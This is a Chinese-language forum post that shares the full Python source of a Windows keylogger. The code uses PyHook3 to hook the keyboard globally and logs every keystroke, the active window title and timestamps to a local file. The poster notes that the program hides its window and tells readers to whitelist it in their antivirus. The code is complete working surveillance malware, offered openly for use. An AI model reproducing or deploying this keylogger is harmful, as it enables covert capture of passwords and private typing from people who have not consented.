★立即注册★

QQ登录

只需一步,快速开始

就爱江湖-应用库-技术分享资源网-Www.92Jh.Cn

查看: 516|回复: 0

[Python] 分享一个键盘记录器源码!!!

[复制链接]
发表于 2019-8-2 19:04:11 | 显示全部楼层
源码是之前网上找的,自己修改了一下。已附上源码,不放心的可以自己编译打包。
打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下。
记得有杀毒软件的添加到白名单。
下面是python源码
# -*- coding: utf-8 -*-   
from ctypes import *
import pythoncom  
import PyHook3
import win32clipboard  
import os,sys
import time
path=os.getcwd()

user32 = windll.user32  
kernel32 = windll.kernel32  
psapi = windll.psapi
current_window = None

# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键禁用词语事件函数  
def OnKeyboardEvent(event):
    global current_window,path
    FileStr=""

    # 检测目标窗口是否转移(换了其他窗口就禁用词语新的窗口)  
    if event.Window != current_window:  
        current_window = event.Window
        # event.WindowName有时候会不好用
        # 所以调用底层API喊来获取窗口标题
        windowTitle = create_string_buffer(512)
        windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
        windowName = windowTitle.value.decode('gbk')
        FileStr+="\n"+("-"*50)+"\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))
        #print("\n-----------------")
        #print("窗口名:%s"%windowName)
        # print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等)  
    if event.Ascii > 32 and event.Ascii <127:
        FileStr+=chr(event.Ascii)
        #print(chr(event.Ascii),end=''
    else:
        if(event.Key=="Space"):
            FileStr+=" "
        elif(event.Key=="Return"):
            FileStr+="[回车] "
        elif(event.Key=="Back"):
            FileStr+="[删除] "
    #写入文件   
    fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环禁用词语下一个击键事件
    return True

# 创建并注册hook管理器  
kl = PyHook3.HookManager()  #
kl.KeyDown = OnKeyboardEvent


#写入日期   
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write('\n\n'+'#######################################'
    +'\n#'+' '*9+time.strftime('%Y-%m-%d %H:%M:%S')+' '*9+'#'
    +'\n'+'#######################################')
fp.close()
# 注册hook并执行  
kl.HookKeyboard()
pythoncom.PumpMessages()


上一篇:账密UI界面(源码),需要的下载
下一篇:LOL9.14泉水时间地址公示

发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案,如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请在帖子回复【已解决】。

游客
回复
您需要登录后才可以回帖 登录 | ★立即注册★

免责声明
就爱江湖所发布的一切软件逆向解密分析文章及视频、破解补丁、注册机和注册信息,仅限用于学习和研究目的。不得将上述内容用于商业或者非法途径!否则,一切后果请用户自负!
本站信息来自互联网,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请购买注册正版软件,获得正版优质服务!
如有侵权请邮件或QQ与我们联系处理。

联系QQ:2710763
邮箱:2710763@qq.com

手机版|小黑屋| 就爱江湖资源分享网 |网站地图 |粤公网安备44180302000217号 | 粤ICP备2025451632号

GMT+8, 2025-9-10 04:20

Powered by Discuz!

© 2001-2020 Comsenz Inc.

快速回复 返回顶部 返回列表